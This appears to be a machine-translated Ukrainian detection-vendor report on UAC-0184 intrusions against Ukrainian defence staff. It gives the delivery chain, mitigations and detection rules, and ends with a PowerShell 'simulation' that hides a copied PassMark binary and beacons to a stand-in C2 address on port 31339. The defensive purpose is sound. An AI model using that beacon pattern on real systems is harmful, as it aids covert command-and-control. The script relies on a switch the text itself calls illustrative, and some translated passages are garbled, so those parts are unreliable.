UAC-0184: Від HTA до підписаного мережевого стека
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У звіті окреслено багатоступеневе вторгнення, спрямоване на українських оборонних співробітників, яке починається з шкідливих HTA-файлів, що доставляються через bitsadmin і LNK ярликових файлів. Шкідливе навантаження інсценовано всередині ZIP-архіву, потім використовується DLL-дія з компонентами Plane9 та користувацькими методами декодування, включаючи XOR та LZNT1, для розпаковування підписаних інструментів, таких як PassMark Endpoint разом із шкідливим input.dll. Мережева активність маскується за допомогою UDP-мультікасту на порту 31339. У проаналізованих зразках не було виявлено статичного зовнішнього сервера команд і управління.
Розслідування
Аналіз ланцюга доставки, заснованого на HTA, виявив bitsadmin команди, які завантажували ZIP-архів, що містив Cluster-Overlay64.exe та відповідні DLL-файли. Переверсна інженерія виявила послідовність завантажувача, яка виділяла filter.bin and kernel-diag.lib, декодувала їх, а потім завантажувала evr.dll. Останній етап висипав VSLauncher.exe разом з підписаним PassMark input.dll, що дозволяло UDP-мультікаст та TCP-комунікацію через порт 31339. Нападники спиралися на підписані двійкові файли та легітимні кодові підписи для зменшення підозри та уникнення виявлення.
Пом’якшення
Захисники повинні блокувати виконання mshta.exe та запобігати bitsadmin від завантаження контенту з недовірених джерел. Моніторинг має зосереджуватися на LNK-файлах, що містять bitsadmin рядки команд та тимчасові імена файлів, що починаються з ~tmp. Служби безпеки також повинні виявляти підозріле DLL-дісайтлодування, що включає Plane9Engine.dll or openvr_api.dll. Сповіщення мають бути налаштовані для UDP та TCP-трафіку на порту 31339 з хостів, які зазвичай не використовують програмне забезпечення PassMark. Рекомендується список дозволених додатків для VSLauncher.exe і перевірка на наявність несподіваних input.dll файлів у System32 or SysWOW64 шляхах також рекомендована.
Відповідь
Якщо виявлено пов’язану активність, негайно ізолюйте уражену систему, зберіть летучую пам’ять та випущені файли, і проведіть судово-медичний аналіз розгорнутих утиліт. Шукайте в середовищі інші хости, що показують ті ж самі артефакти LNK, шаблон звантаження DLL чи поведінку UDP-мультікасту. Видаліть усі шкідливі файли, відкличте будь-які скомпрометовані сертифікати, якщо це застосовно, та скиньте облікові дані, пов’язані з ураженими обліковими записами. Зміст виявлення потім слід оновити, використовуючи вилучені індикатори.
Потік атаки
Виявлення
Підозріле завантаження файлу з прямої IP-адреси (через проксі)
Перегляд
Підозріле оборона уникнення LOLBAS MSHTA через виявлення пов’язаних команд (через створення процесу)
Перегляд
LOLBAS Bitsadmin (через cmdline)
Перегляд
Виклик підозрілих .NET-методів з Powershell (через powershell)
Перегляд
Архів було розпаковано у підозрілий каталог за допомогою Powershell (через powershell)
Перегляд
IOC (HashSha256) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека
Перегляд
IOC (SourceIP) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека
Перегляд
IOC (DestinationIP) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека
Перегляд
Підозріле виконання PowerShell для шкідливих навантажень [Windows Powershell]
Перегляд
Виявлення шкідливого перепризначення мережевого трафіку PassMark [Windows Network Connection]
Перегляд
UAC-0184 Злісна доставка та виконання HTA через bitsadmin та mshta [Створення процесів Windows]
Перегляд
Виконання симуляції
Передумова: перевірка готовності телеметрії та базового лінії повинна пройти.
Мотив: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP та мають на меті генерувати точну телеметрію, очікувану виявною логікою. Абстрактні або не пов’язані приклади призводять до помилкової діагностики.
-
Наратив атаки та команди:
Супротивник отримав копію PassMark BurnInTest.exe (легітимний інструмент для бенчмаркінгу) та перепризначив його для дії як прихований клієнт управління. Виконуючи двійковий файл з користувацькими аргументами, він відкриває TCP-з’єднання до сервера, контрольованого атакуючим, на порту 31339. Оскільки журнал брандмауера реєструє ім’я програми (“PassMark BurnInTest”), фільтр правила виявленняфільтрклаузула (продукт|містить: "PassMark BurnInTest") є уникнений, що дозволяє позначити трафік як підозрілий. Кроки такі:- Скопіюйте законний виконуваний файл BurnInTest у прихований каталог.
- Виконайте його з аргументами, які примушують мережне з’єднання з IP-адресою C2 (наприклад,
192.0.2.55) на порті 31339. - Тримайте процес у роботі досить довго, щоб брандмауер зареєстрував вихідне з’єднання.
-
Сценарій регресійного тесту:
# ------------------------------------------------- # Повторне призначення PassMark BurnInTest для прихованого трафіку C2 # ------------------------------------------------- $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe" $hiddenDir = "$env:ProgramData.temp" $c2IP = "192.0.2.55" $c2Port = 31339 # 1. Переконайтеся, що прихований каталог існує if (-not (Test-Path $hiddenDir)) { New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null # Hide the folder (Get-Item $hiddenDir).Attributes += 'Hidden' } # 2. Скопіюйте двійковий файл (імітація копії, що належить нападнику) $copiedExe = Join-Path $hiddenDir "BurnInTest.exe" Copy-Item -Path $burnInPath -Destination $copiedExe -Force # 3. Запустіть двійковий файл для створення TCP-з'єднання з C2 # (Припускається, що BurnInTest підтримує перемикач /net – це ілюстрація) $args = "/net $c2IP $c2Port" $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru Write-Host "PassMark BurnInTest запущено (PID $($proc.Id)) – трафік C2 має з'явитися у журналах брандмауера." # Keep the process alive for 30 seconds to ensure logging Start-Sleep -Seconds 30 -
Команди очищення:
# ------------------------------------------------- # Очищення після симульованої діяльності PassMark BurnInTest # ------------------------------------------------- $hiddenDir = "$env:ProgramData.temp" # Зупиніть будь-які залишкові процеси BurnInTest Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force # Видаліть прихований каталог та його вміст if (Test-Path $hiddenDir) { Remove-Item -Recurse -Force $hiddenDir } Write-Host "Очищення завершено – жодних залишкових двійкових файлів або процесів BurnInTest не залишилося."